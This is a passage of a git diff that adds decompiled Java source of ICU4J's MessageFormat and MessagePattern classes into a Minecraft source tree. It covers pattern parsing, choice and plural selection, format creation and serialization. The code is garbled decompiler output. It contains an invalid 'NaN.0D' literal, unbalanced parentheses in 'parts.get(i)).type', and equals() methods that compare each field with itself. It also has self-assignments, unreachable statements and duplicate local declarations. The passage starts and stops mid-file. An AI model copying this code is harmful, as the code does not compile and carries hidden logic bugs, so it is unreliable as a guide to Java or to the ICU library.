+  {
+    if ((attributes != null) && (prevLength < length)) {
+      attributes.add(new AttributeAndPosition(argId, prevLength, length));
+    }
+    if ((fp != null) && (Field.ARGUMENT.equals(fp.getFieldAttribute()))) {
+      fp.setBeginIndex(prevLength);
+      fp.setEndIndex(length);
+      return null;
+    }
+    return fp;
+  }
+  
+
+
+
+
+
+
+
+  private static int findChoiceSubMessage(MessagePattern pattern, int partIndex, double number)
+  {
+    int count = pattern.countParts();
+    
+
+
+
+    partIndex += 2;
+    int msgStart;
+    for (;;) {
+      msgStart = partIndex;
+      partIndex = pattern.getLimitPartIndex(partIndex);
+      partIndex++; if (partIndex >= count) {
+        break;
+      }
+      
+
+      MessagePattern.Part part = pattern.getPart(partIndex++);
+      MessagePattern.Part.Type type = part.getType();
+      if (type == MessagePattern.Part.Type.ARG_LIMIT) {
+        break;
+      }
+      
+
+
+      assert (type.hasNumericValue());
+      double boundary = pattern.getNumericValue(part);
+      
+      int selectorIndex = pattern.getPatternIndex(partIndex++);
+      char boundaryChar = pattern.getPatternString().charAt(selectorIndex);
+      if (boundaryChar == '<' ? number <= boundary : number < boundary) {
+        break;
+      }
+    }
+    
+
+
+
+    return msgStart;
+  }
+  
+
+
+
+  private static double parseChoiceArgument(MessagePattern pattern, int partIndex, String source, ParsePosition pos)
+  {
+    int start = pos.getIndex();
+    int furthest = start;
+    double bestNumber = NaN.0D;
+    double tempNumber = 0.0D;
+    while (pattern.getPartType(partIndex) != MessagePattern.Part.Type.ARG_LIMIT) {
+      tempNumber = pattern.getNumericValue(pattern.getPart(partIndex));
+      partIndex += 2;
+      int msgLimit = pattern.getLimitPartIndex(partIndex);
+      int len = matchStringUntilLimitPart(pattern, partIndex, msgLimit, source, start);
+      if (len >= 0) {
+        int newIndex = start + len;
+        if (newIndex > furthest) {
+          furthest = newIndex;
+          bestNumber = tempNumber;
+          if (furthest == source.length()) {
+            break;
+          }
+        }
+      }
+      partIndex = msgLimit + 1;
+    }
+    if (furthest == start) {
+      pos.setErrorIndex(start);
+    } else {
+      pos.setIndex(furthest);
+    }
+    return bestNumber;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static int matchStringUntilLimitPart(MessagePattern pattern, int partIndex, int limitPartIndex, String source, int sourceOffset)
+  {
+    int matchingSourceLength = 0;
+    String msgString = pattern.getPatternString();
+    int prevIndex = pattern.getPart(partIndex).getLimit();
+    for (;;) {
+      MessagePattern.Part part = pattern.getPart(++partIndex);
+      if ((partIndex == limitPartIndex) || (part.getType() == MessagePattern.Part.Type.SKIP_SYNTAX)) {
+        int index = part.getIndex();
+        int length = index - prevIndex;
+        if ((length != 0) && (!source.regionMatches(sourceOffset, msgString, prevIndex, length))) {
+          return -1;
+        }
+        matchingSourceLength += length;
+        if (partIndex == limitPartIndex) {
+          return matchingSourceLength;
+        }
+        prevIndex = part.getLimit();
+      }
+    }
+  }
+  
+  private static final class PluralSelectorProvider implements PluralFormat.PluralSelector
+  {
+    private ULocale locale;
+    private PluralRules rules;
+    private PluralRules.PluralType type;
+    
+    public PluralSelectorProvider(ULocale loc, PluralRules.PluralType type)
+    {
+      locale = loc;
+      this.type = type;
+    }
+    
+    public String select(double number) { if (rules == null) {
+        rules = PluralRules.forLocale(locale, type);
+      }
+      return rules.select(number);
+    }
+  }
+  
+
+
+
+  private void format(Object arguments, AppendableWrapper result, FieldPosition fp)
+  {
+    if ((arguments == null) || ((arguments instanceof Map))) {
+      format(null, (Map)arguments, result, fp);
+    } else {
+      format((Object[])arguments, null, result, fp);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void format(Object[] arguments, Map<String, Object> argsMap, AppendableWrapper dest, FieldPosition fp)
+  {
+    if ((arguments != null) && (msgPattern.hasNamedArguments())) {
+      throw new IllegalArgumentException("This method is not available in MessageFormat objects that use alphanumeric argument names.");
+    }
+    
+
+    format(0, 0.0D, arguments, argsMap, dest, fp);
+  }
+  
+  private void resetPattern() {
+    if (msgPattern != null) {
+      msgPattern.clear();
+    }
+    if (cachedFormatters != null) {
+      cachedFormatters.clear();
+    }
+    customFormatArgStarts = null;
+  }
+  
+  private static final String[] typeList = { "number", "date", "time", "spellout", "ordinal", "duration" };
+  
+  private static final int TYPE_NUMBER = 0;
+  
+  private static final int TYPE_DATE = 1;
+  
+  private static final int TYPE_TIME = 2;
+  private static final int TYPE_SPELLOUT = 3;
+  private static final int TYPE_ORDINAL = 4;
+  private static final int TYPE_DURATION = 5;
+  private static final String[] modifierList = { "", "currency", "percent", "integer" };
+  
+  private static final int MODIFIER_EMPTY = 0;
+  
+  private static final int MODIFIER_CURRENCY = 1;
+  
+  private static final int MODIFIER_PERCENT = 2;
+  
+  private static final int MODIFIER_INTEGER = 3;
+  private static final String[] dateModifierList = { "", "short", "medium", "long", "full" };
+  
+  private static final int DATE_MODIFIER_EMPTY = 0;
+  
+  private static final int DATE_MODIFIER_SHORT = 1;
+  
+  private static final int DATE_MODIFIER_MEDIUM = 2;
+  
+  private static final int DATE_MODIFIER_LONG = 3;
+  private static final int DATE_MODIFIER_FULL = 4;
+  
+  private Format createAppropriateFormat(String type, String style)
+  {
+    Format newFormat = null;
+    int subformatType = findKeyword(type, typeList);
+    switch (subformatType) {
+    case 0: 
+      switch (findKeyword(style, modifierList)) {
+      case 0: 
+        newFormat = NumberFormat.getInstance(ulocale);
+        break;
+      case 1: 
+        newFormat = NumberFormat.getCurrencyInstance(ulocale);
+        break;
+      case 2: 
+        newFormat = NumberFormat.getPercentInstance(ulocale);
+        break;
+      case 3: 
+        newFormat = NumberFormat.getIntegerInstance(ulocale);
+        break;
+      default: 
+        newFormat = new DecimalFormat(style, new DecimalFormatSymbols(ulocale));
+      }
+      break;
+    
+
+    case 1: 
+      switch (findKeyword(style, dateModifierList)) {
+      case 0: 
+        newFormat = DateFormat.getDateInstance(2, ulocale);
+        break;
+      case 1: 
+        newFormat = DateFormat.getDateInstance(3, ulocale);
+        break;
+      case 2: 
+        newFormat = DateFormat.getDateInstance(2, ulocale);
+        break;
+      case 3: 
+        newFormat = DateFormat.getDateInstance(1, ulocale);
+        break;
+      case 4: 
+        newFormat = DateFormat.getDateInstance(0, ulocale);
+        break;
+      default: 
+        newFormat = new SimpleDateFormat(style, ulocale); }
+      break;
+    
+
+    case 2: 
+      switch (findKeyword(style, dateModifierList)) {
+      case 0: 
+        newFormat = DateFormat.getTimeInstance(2, ulocale);
+        break;
+      case 1: 
+        newFormat = DateFormat.getTimeInstance(3, ulocale);
+        break;
+      case 2: 
+        newFormat = DateFormat.getTimeInstance(2, ulocale);
+        break;
+      case 3: 
+        newFormat = DateFormat.getTimeInstance(1, ulocale);
+        break;
+      case 4: 
+        newFormat = DateFormat.getTimeInstance(0, ulocale);
+        break;
+      default: 
+        newFormat = new SimpleDateFormat(style, ulocale); }
+      break;
+    
+
+
+    case 3: 
+      RuleBasedNumberFormat rbnf = new RuleBasedNumberFormat(ulocale, 1);
+      
+      String ruleset = style.trim();
+      if (ruleset.length() != 0) {
+        try {
+          rbnf.setDefaultRuleSet(ruleset);
+        }
+        catch (Exception e) {}
+      }
+      
+
+      newFormat = rbnf;
+      
+      break;
+    
+    case 4: 
+      RuleBasedNumberFormat rbnf = new RuleBasedNumberFormat(ulocale, 2);
+      
+      String ruleset = style.trim();
+      if (ruleset.length() != 0) {
+        try {
+          rbnf.setDefaultRuleSet(ruleset);
+        }
+        catch (Exception e) {}
+      }
+      
+
+      newFormat = rbnf;
+      
+      break;
+    
+    case 5: 
+      RuleBasedNumberFormat rbnf = new RuleBasedNumberFormat(ulocale, 3);
+      
+      String ruleset = style.trim();
+      if (ruleset.length() != 0) {
+        try {
+          rbnf.setDefaultRuleSet(ruleset);
+        }
+        catch (Exception e) {}
+      }
+      
+
+      newFormat = rbnf;
+      
+      break;
+    default: 
+      throw new IllegalArgumentException("Unknown format type \"" + type + "\"");
+    }
+    return newFormat;
+  }
+  
+  private static final Locale rootLocale = new Locale("");
+  private static final char SINGLE_QUOTE = '\'';
+  
+  private static final int findKeyword(String s, String[] list) { s = PatternProps.trimWhiteSpace(s).toLowerCase(rootLocale);
+    for (int i = 0; i < list.length; i++) {
+      if (s.equals(list[i]))
+        return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    out.defaultWriteObject();
+    
+
+    out.writeObject(ulocale.toLanguageTag());
+    
+    if (msgPattern == null) {
+      msgPattern = new MessagePattern();
+    }
+    out.writeObject(msgPattern.getApostropheMode());
+    
+    out.writeObject(msgPattern.getPatternString());
+    int formatIndex;
+    int partIndex; if ((customFormatArgStarts == null) || (customFormatArgStarts.isEmpty())) {
+      out.writeInt(0);
+    } else {
+      out.writeInt(customFormatArgStarts.size());
+      formatIndex = 0;
+      for (partIndex = 0; (partIndex = nextTopLevelArgStart(partIndex)) >= 0;) {
+        if (customFormatArgStarts.contains(Integer.valueOf(partIndex))) {
+          out.writeInt(formatIndex);
+          out.writeObject(cachedFormatters.get(Integer.valueOf(partIndex)));
+        }
+        formatIndex++;
+      }
+    }
+    
+    out.writeInt(0);
+  }
+  
+
+
+  private void readObject(ObjectInputStream in)
+    throws IOException, ClassNotFoundException
+  {
+    in.defaultReadObject();
+    
+    String languageTag = (String)in.readObject();
+    ulocale = ULocale.forLanguageTag(languageTag);
+    MessagePattern.ApostropheMode aposMode = (MessagePattern.ApostropheMode)in.readObject();
+    if ((msgPattern == null) || (aposMode != msgPattern.getApostropheMode())) {
+      msgPattern = new MessagePattern(aposMode);
+    }
+    String msg = (String)in.readObject();
+    if (msg != null) {
+      applyPattern(msg);
+    }
+    
+    for (int numFormatters = in.readInt(); numFormatters > 0; numFormatters--) {
+      int formatIndex = in.readInt();
+      Format formatter = (Format)in.readObject();
+      setFormat(formatIndex, formatter);
+    }
+    
+    for (int numPairs = in.readInt(); numPairs > 0; numPairs--) {
+      in.readInt();
+      in.readObject();
+    }
+  }
+  
+  private void cacheExplicitFormats() {
+    if (cachedFormatters != null) {
+      cachedFormatters.clear();
+    }
+    customFormatArgStarts = null;
+    
+
+    int limit = msgPattern.countParts() - 2;
+    
+
+    for (int i = 1; i < limit; i++) {
+      MessagePattern.Part part = msgPattern.getPart(i);
+      if (part.getType() == MessagePattern.Part.Type.ARG_START)
+      {
+
+        MessagePattern.ArgType argType = part.getArgType();
+        if (argType == MessagePattern.ArgType.SIMPLE)
+        {
+
+          int index = i;
+          i += 2;
+          String explicitType = msgPattern.getSubstring(msgPattern.getPart(i++));
+          String style = "";
+          if ((part = msgPattern.getPart(i)).getType() == MessagePattern.Part.Type.ARG_STYLE) {
+            style = msgPattern.getSubstring(part);
+            i++;
+          }
+          Format formatter = createAppropriateFormat(explicitType, style);
+          setArgStartFormat(index, formatter);
+        }
+      }
+    }
+  }
+  
+  private void setArgStartFormat(int argStart, Format formatter)
+  {
+    if (cachedFormatters == null) {
+      cachedFormatters = new HashMap();
+    }
+    cachedFormatters.put(Integer.valueOf(argStart), formatter);
+  }
+  
+
+
+
+  private void setCustomArgStartFormat(int argStart, Format formatter)
+  {
+    setArgStartFormat(argStart, formatter);
+    if (customFormatArgStarts == null) {
+      customFormatArgStarts = new HashSet();
+    }
+    customFormatArgStarts.add(Integer.valueOf(argStart));
+  }
+  
+
+
+
+
+
+  private static final char CURLY_BRACE_LEFT = '{';
+  
+
+
+
+
+  private static final char CURLY_BRACE_RIGHT = '}';
+  
+
+
+
+  private static final int STATE_INITIAL = 0;
+  
+
+
+
+  private static final int STATE_SINGLE_QUOTE = 1;
+  
+
+
+
+  private static final int STATE_IN_QUOTE = 2;
+  
+
+
+
+  private static final int STATE_MSG_ELEMENT = 3;
+  
+
+
+
+  public static String autoQuoteApostrophe(String pattern)
+  {
+    StringBuilder buf = new StringBuilder(pattern.length() * 2);
+    int state = 0;
+    int braceCount = 0;
+    int i = 0; for (int j = pattern.length(); i < j; i++) {
+      char c = pattern.charAt(i);
+      switch (state) {
+      case 0: 
+        switch (c) {
+        case '\'': 
+          state = 1;
+          break;
+        case '{': 
+          state = 3;
+          braceCount++;
+        }
+        
+        break;
+      case 1: 
+        switch (c) {
+        case '\'': 
+          state = 0;
+          break;
+        case '{': 
+        case '}': 
+          state = 2;
+          break;
+        default: 
+          buf.append('\'');
+          state = 0; }
+        break;
+      
+
+      case 2: 
+        switch (c) {
+        case '\'': 
+          state = 0;
+        }
+        
+        break;
+      case 3: 
+        switch (c) {
+        case '{': 
+          braceCount++;
+          break;
+        case '}': 
+          braceCount--; if (braceCount == 0) {
+            state = 0;
+          }
+          break;
+        }
+        break;
+      }
+      
+      
+
+
+      buf.append(c);
+    }
+    
+    if ((state == 1) || (state == 2)) {
+      buf.append('\'');
+    }
+    return new String(buf);
+  }
+  
+  private static final class AppendableWrapper
+  {
+    private Appendable app;
+    private int length;
+    private List<MessageFormat.AttributeAndPosition> attributes;
+    
+    public AppendableWrapper(StringBuilder sb) {
+      app = sb;
+      length = sb.length();
+      attributes = null;
+    }
+    
+    public AppendableWrapper(StringBuffer sb) {
+      app = sb;
+      length = sb.length();
+      attributes = null;
+    }
+    
+    public void useAttributes() {
+      attributes = new ArrayList();
+    }
+    
+    public void append(CharSequence s) {
+      try {
+        app.append(s);
+        length += s.length();
+      } catch (IOException e) {
+        throw new RuntimeException(e);
+      }
+    }
+    
+    public void append(CharSequence s, int start, int limit) {
+      try {
+        app.append(s, start, limit);
+        length += limit - start;
+      } catch (IOException e) {
+        throw new RuntimeException(e);
+      }
+    }
+    
+    public void append(CharacterIterator iterator) {
+      length += append(app, iterator);
+    }
+    
+    public static int append(Appendable result, CharacterIterator iterator) {
+      try {
+        int start = iterator.getBeginIndex();
+        int limit = iterator.getEndIndex();
+        int length = limit - start;
+        if (start < limit) {
+          result.append(iterator.first());
+          for (;;) { start++; if (start >= limit) break;
+            result.append(iterator.next());
+          }
+        }
+        return length;
+      } catch (IOException e) {
+        throw new RuntimeException(e);
+      }
+    }
+    
+    public void formatAndAppend(Format formatter, Object arg) {
+      if (attributes == null) {
+        append(formatter.format(arg));
+      } else {
+        AttributedCharacterIterator formattedArg = formatter.formatToCharacterIterator(arg);
+        int prevLength = length;
+        append(formattedArg);
+        
+        formattedArg.first();
+        int start = formattedArg.getIndex();
+        int limit = formattedArg.getEndIndex();
+        int offset = prevLength - start;
+        while (start < limit) {
+          Map<AttributedCharacterIterator.Attribute, Object> map = formattedArg.getAttributes();
+          int runLimit = formattedArg.getRunLimit();
+          if (map.size() != 0) {
+            for (Map.Entry<AttributedCharacterIterator.Attribute, Object> entry : map.entrySet()) {
+              attributes.add(new MessageFormat.AttributeAndPosition((AttributedCharacterIterator.Attribute)entry.getKey(), entry.getValue(), offset + start, offset + runLimit));
+            }
+          }
+          
+
+
+          start = runLimit;
+          formattedArg.setIndex(start);
+        }
+      }
+    }
+  }
+  
+  private static final class AttributeAndPosition
+  {
+    private AttributedCharacterIterator.Attribute key;
+    private Object value;
+    private int start;
+    private int limit;
+    
+    public AttributeAndPosition(Object fieldValue, int startIndex, int limitIndex)
+    {
+      init(MessageFormat.Field.ARGUMENT, fieldValue, startIndex, limitIndex);
+    }
+    
+    public AttributeAndPosition(AttributedCharacterIterator.Attribute field, Object fieldValue, int startIndex, int limitIndex) {
+      init(field, fieldValue, startIndex, limitIndex);
+    }
+    
+    public void init(AttributedCharacterIterator.Attribute field, Object fieldValue, int startIndex, int limitIndex) {
+      key = field;
+      value = fieldValue;
+      start = startIndex;
+      limit = limitIndex;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/MessagePattern.java b/src/minecraft/com/ibm/icu/text/MessagePattern.java
new file mode 100644
index 0000000..6e5e6f9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/MessagePattern.java
@@ -0,0 +1,1614 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUConfig;
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.util.Freezable;
+import java.util.ArrayList;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MessagePattern
+  implements Cloneable, Freezable<MessagePattern>
+{
+  public static final int ARG_NAME_NOT_NUMBER = -1;
+  public static final int ARG_NAME_NOT_VALID = -2;
+  public static final double NO_NUMERIC_VALUE = -1.23456789E8D;
+  private static final int MAX_PREFIX_LENGTH = 24;
+  private ApostropheMode aposMode;
+  private String msg;
+  
+  public static enum ApostropheMode
+  {
+    DOUBLE_OPTIONAL, 
+    
+
+
+
+
+
+
+
+    DOUBLE_REQUIRED;
+    
+
+    private ApostropheMode() {}
+  }
+  
+  public MessagePattern()
+  {
+    aposMode = defaultAposMode;
+  }
+  
+
+
+
+
+  public MessagePattern(ApostropheMode mode)
+  {
+    aposMode = mode;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessagePattern(String pattern)
+  {
+    aposMode = defaultAposMode;
+    parse(pattern);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessagePattern parse(String pattern)
+  {
+    preParse(pattern);
+    parseMessage(0, 0, 0, ArgType.NONE);
+    postParse();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessagePattern parseChoiceStyle(String pattern)
+  {
+    preParse(pattern);
+    parseChoiceStyle(0, 0);
+    postParse();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessagePattern parsePluralStyle(String pattern)
+  {
+    preParse(pattern);
+    parsePluralOrSelectStyle(ArgType.PLURAL, 0, 0);
+    postParse();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public MessagePattern parseSelectStyle(String pattern)
+  {
+    preParse(pattern);
+    parsePluralOrSelectStyle(ArgType.SELECT, 0, 0);
+    postParse();
+    return this;
+  }
+  
+
+
+
+
+
+  public void clear()
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to clear() a frozen MessagePattern instance.");
+    }
+    
+    msg = null;
+    hasArgNames = (this.hasArgNumbers = 0);
+    needsAutoQuoting = false;
+    parts.clear();
+    if (numericValues != null) {
+      numericValues.clear();
+    }
+  }
+  
+
+
+
+
+
+  public void clearPatternAndSetApostropheMode(ApostropheMode mode)
+  {
+    clear();
+    aposMode = mode;
+  }
+  
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (this == other) {
+      return true;
+    }
+    if ((other == null) || (getClass() != other.getClass())) {
+      return false;
+    }
+    MessagePattern o = (MessagePattern)other;
+    return (aposMode.equals(aposMode)) && (msg == null ? msg == null : msg.equals(msg)) && (parts.equals(parts));
+  }
+  
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return (aposMode.hashCode() * 37 + (msg != null ? msg.hashCode() : 0)) * 37 + parts.hashCode();
+  }
+  
+
+
+
+  public ApostropheMode getApostropheMode()
+  {
+    return aposMode;
+  }
+  
+
+
+
+  boolean jdkAposMode()
+  {
+    return aposMode == ApostropheMode.DOUBLE_REQUIRED;
+  }
+  
+
+
+
+  public String getPatternString()
+  {
+    return msg;
+  }
+  
+
+
+
+
+  public boolean hasNamedArguments()
+  {
+    return hasArgNames;
+  }
+  
+
+
+
+
+  public boolean hasNumberedArguments()
+  {
+    return hasArgNumbers;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return msg;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int validateArgumentName(String name)
+  {
+    if (!PatternProps.isIdentifier(name)) {
+      return -2;
+    }
+    return parseArgNumber(name, 0, name.length());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String autoQuoteApostropheDeep()
+  {
+    if (!needsAutoQuoting) {
+      return msg;
+    }
+    StringBuilder modified = null;
+    
+    int count = countParts();
+    for (int i = count; i > 0;) {
+      Part part;
+      if ((part = getPart(--i)).getType() == MessagePattern.Part.Type.INSERT_CHAR) {
+        if (modified == null) {
+          modified = new StringBuilder(msg.length() + 10).append(msg);
+        }
+        modified.insert(index, (char)value);
+      }
+    }
+    if (modified == null) {
+      return msg;
+    }
+    return modified.toString();
+  }
+  
+
+
+
+
+
+
+  public int countParts()
+  {
+    return parts.size();
+  }
+  
+
+
+
+
+
+
+  public Part getPart(int i)
+  {
+    return (Part)parts.get(i);
+  }
+  
+
+
+
+
+
+
+
+  public MessagePattern.Part.Type getPartType(int i)
+  {
+    return parts.get(i)).type;
+  }
+  
+
+
+
+
+
+
+
+  public int getPatternIndex(int partIndex)
+  {
+    return parts.get(partIndex)).index;
+  }
+  
+
+
+
+
+
+
+  public String getSubstring(Part part)
+  {
+    int index = index;
+    return msg.substring(index, index + length);
+  }
+  
+
+
+
+
+
+
+  public boolean partSubstringMatches(Part part, String s)
+  {
+    return msg.regionMatches(index, s, 0, length);
+  }
+  
+
+
+
+
+
+  public double getNumericValue(Part part)
+  {
+    MessagePattern.Part.Type type = type;
+    if (type == MessagePattern.Part.Type.ARG_INT)
+      return value;
+    if (type == MessagePattern.Part.Type.ARG_DOUBLE) {
+      return ((Double)numericValues.get(value)).doubleValue();
+    }
+    return -1.23456789E8D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double getPluralOffset(int pluralStart)
+  {
+    Part part = (Part)parts.get(pluralStart);
+    if (type.hasNumericValue()) {
+      return getNumericValue(part);
+    }
+    return 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getLimitPartIndex(int start)
+  {
+    int limit = parts.get(start)).limitPartIndex;
+    if (limit < start) {
+      return start;
+    }
+    return limit;
+  }
+  
+  public static final class Part {
+    private static final int MAX_LENGTH = 65535;
+    private static final int MAX_VALUE = 32767;
+    private final Type type;
+    private final int index;
+    private final char length;
+    private short value;
+    private int limitPartIndex;
+    
+    private Part(Type t, int i, int l, int v) { type = t;
+      index = i;
+      length = ((char)l);
+      value = ((short)v);
+    }
+    
+
+
+
+
+    public Type getType()
+    {
+      return type;
+    }
+    
+
+
+
+
+    public int getIndex()
+    {
+      return index;
+    }
+    
+
+
+
+
+
+    public int getLength()
+    {
+      return length;
+    }
+    
+
+
+
+
+
+    public int getLimit()
+    {
+      return index + length;
+    }
+    
+
+
+
+
+
+    public int getValue()
+    {
+      return value;
+    }
+    
+
+
+
+
+
+    public MessagePattern.ArgType getArgType()
+    {
+      Type type = getType();
+      if ((type == Type.ARG_START) || (type == Type.ARG_LIMIT)) {
+        return MessagePattern.argTypes[value];
+      }
+      return MessagePattern.ArgType.NONE;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public static enum Type
+    {
+      MSG_START, 
+      
+
+
+
+
+
+
+
+      MSG_LIMIT, 
+      
+
+
+
+
+
+
+      SKIP_SYNTAX, 
+      
+
+
+
+
+
+      INSERT_CHAR, 
+      
+
+
+
+
+
+
+      REPLACE_NUMBER, 
+      
+
+
+
+
+
+
+
+
+
+      ARG_START, 
+      
+
+
+
+
+
+      ARG_LIMIT, 
+      
+
+
+
+      ARG_NUMBER, 
+      
+
+
+
+
+      ARG_NAME, 
+      
+
+
+
+
+      ARG_TYPE, 
+      
+
+
+
+
+      ARG_STYLE, 
+      
+
+
+
+
+      ARG_SELECTOR, 
+      
+
+
+
+
+
+      ARG_INT, 
+      
+
+
+
+
+
+
+      ARG_DOUBLE;
+      
+
+
+      private Type() {}
+      
+
+      public boolean hasNumericValue()
+      {
+        return (this == ARG_INT) || (this == ARG_DOUBLE);
+      }
+    }
+    
+
+
+
+
+    public String toString()
+    {
+      String valueString = (type == Type.ARG_START) || (type == Type.ARG_LIMIT) ? getArgType().name() : Integer.toString(value);
+      
+      return type.name() + "(" + valueString + ")@" + index;
+    }
+    
+
+
+
+
+
+    public boolean equals(Object other)
+    {
+      if (this == other) {
+        return true;
+      }
+      if ((other == null) || (getClass() != other.getClass())) {
+        return false;
+      }
+      Part o = (Part)other;
+      return (type.equals(type)) && (index == index) && (length == length) && (value == value) && (limitPartIndex == limitPartIndex);
+    }
+    
+
+
+
+
+
+
+
+
+
+    public int hashCode()
+    {
+      return ((type.hashCode() * 37 + index) * 37 + length) * 37 + value;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static enum ArgType
+  {
+    NONE, 
+    
+
+
+
+
+    SIMPLE, 
+    
+
+
+
+
+    CHOICE, 
+    
+
+
+
+
+
+
+
+
+    PLURAL, 
+    
+
+
+
+    SELECT, 
+    
+
+
+
+
+
+    SELECTORDINAL;
+    
+
+
+    private ArgType() {}
+    
+
+    public boolean hasPluralStyle()
+    {
+      return (this == PLURAL) || (this == SELECTORDINAL);
+    }
+  }
+  
+
+
+
+
+
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+
+  public MessagePattern cloneAsThawed()
+  {
+    MessagePattern newMsg;
+    
+
+    try
+    {
+      newMsg = (MessagePattern)super.clone();
+    } catch (CloneNotSupportedException e) {
+      throw new RuntimeException(e);
+    }
+    parts = ((ArrayList)parts.clone());
+    if (numericValues != null) {
+      numericValues = ((ArrayList)numericValues.clone());
+    }
+    frozen = false;
+    return newMsg;
+  }
+  
+
+
+
+
+  public MessagePattern freeze()
+  {
+    frozen = true;
+    return this;
+  }
+  
+
+
+
+
+  public boolean isFrozen()
+  {
+    return frozen;
+  }
+  
+  private void preParse(String pattern) {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to parse(" + prefix(pattern) + ") on frozen MessagePattern instance.");
+    }
+    
+    msg = pattern;
+    hasArgNames = (this.hasArgNumbers = 0);
+    needsAutoQuoting = false;
+    parts.clear();
+    if (numericValues != null) {
+      numericValues.clear();
+    }
+  }
+  
+
+  private void postParse() {}
+  
+  private int parseMessage(int index, int msgStartLength, int nestingLevel, ArgType parentType)
+  {
+    if (nestingLevel > 32767) {
+      throw new IndexOutOfBoundsException();
+    }
+    int msgStart = parts.size();
+    addPart(MessagePattern.Part.Type.MSG_START, index, msgStartLength, nestingLevel);
+    index += msgStartLength;
+    label275: label448: while (index < msg.length()) {
+      char c = msg.charAt(index++);
+      if (c == '\'') {
+        if (index == msg.length())
+        {
+
+          addPart(MessagePattern.Part.Type.INSERT_CHAR, index, 0, 39);
+          needsAutoQuoting = true;
+        } else {
+          c = msg.charAt(index);
+          if (c == '\'')
+          {
+            addPart(MessagePattern.Part.Type.SKIP_SYNTAX, index++, 1, 0);
+          } else if ((aposMode == ApostropheMode.DOUBLE_REQUIRED) || (c == '{') || (c == '}') || ((parentType == ArgType.CHOICE) && (c == '|')) || ((parentType.hasPluralStyle()) && (c == '#')))
+          {
+
+
+
+
+
+            addPart(MessagePattern.Part.Type.SKIP_SYNTAX, index - 1, 1, 0);
+            for (;;)
+            {
+              index = msg.indexOf('\'', index + 1);
+              if (index < 0) break label275;
+              if ((index + 1 >= msg.length()) || (msg.charAt(index + 1) != '\'')) {
+                break;
+              }
+              addPart(MessagePattern.Part.Type.SKIP_SYNTAX, ++index, 1, 0);
+            }
+            
+            addPart(MessagePattern.Part.Type.SKIP_SYNTAX, index++, 1, 0);
+            
+
+            break label448;
+            
+            index = msg.length();
+            
+            addPart(MessagePattern.Part.Type.INSERT_CHAR, index, 0, 39);
+            needsAutoQuoting = true;
+
+
+          }
+          else
+          {
+
+            addPart(MessagePattern.Part.Type.INSERT_CHAR, index, 0, 39);
+            needsAutoQuoting = true;
+          }
+        }
+      } else if ((parentType.hasPluralStyle()) && (c == '#'))
+      {
+
+        addPart(MessagePattern.Part.Type.REPLACE_NUMBER, index - 1, 1, 0);
+      } else if (c == '{') {
+        index = parseArg(index - 1, 1, nestingLevel);
+      } else if (((nestingLevel > 0) && (c == '}')) || ((parentType == ArgType.CHOICE) && (c == '|')))
+      {
+
+
+        int limitLength = (parentType == ArgType.CHOICE) && (c == '}') ? 0 : 1;
+        addLimitPart(msgStart, MessagePattern.Part.Type.MSG_LIMIT, index - 1, limitLength, nestingLevel);
+        if (parentType == ArgType.CHOICE)
+        {
+          return index - 1;
+        }
+        
+        return index;
+      }
+    }
+    
+    if ((nestingLevel > 0) && (!inTopLevelChoiceMessage(nestingLevel, parentType))) {
+      throw new IllegalArgumentException("Unmatched '{' braces in message " + prefix());
+    }
+    
+    addLimitPart(msgStart, MessagePattern.Part.Type.MSG_LIMIT, index, 0, nestingLevel);
+    return index;
+  }
+  
+  private int parseArg(int index, int argStartLength, int nestingLevel) {
+    int argStart = parts.size();
+    ArgType argType = ArgType.NONE;
+    addPart(MessagePattern.Part.Type.ARG_START, index, argStartLength, argType.ordinal());
+    int nameIndex = index = skipWhiteSpace(index + argStartLength);
+    if (index == msg.length()) {
+      throw new IllegalArgumentException("Unmatched '{' braces in message " + prefix());
+    }
+    
+
+    index = skipIdentifier(index);
+    int number = parseArgNumber(nameIndex, index);
+    if (number >= 0) {
+      int length = index - nameIndex;
+      if ((length > 65535) || (number > 32767)) {
+        throw new IndexOutOfBoundsException("Argument number too large: " + prefix(nameIndex));
+      }
+      
+      hasArgNumbers = true;
+      addPart(MessagePattern.Part.Type.ARG_NUMBER, nameIndex, length, number);
+    } else if (number == -1) {
+      int length = index - nameIndex;
+      if (length > 65535) {
+        throw new IndexOutOfBoundsException("Argument name too long: " + prefix(nameIndex));
+      }
+      
+      hasArgNames = true;
+      addPart(MessagePattern.Part.Type.ARG_NAME, nameIndex, length, 0);
+    } else {
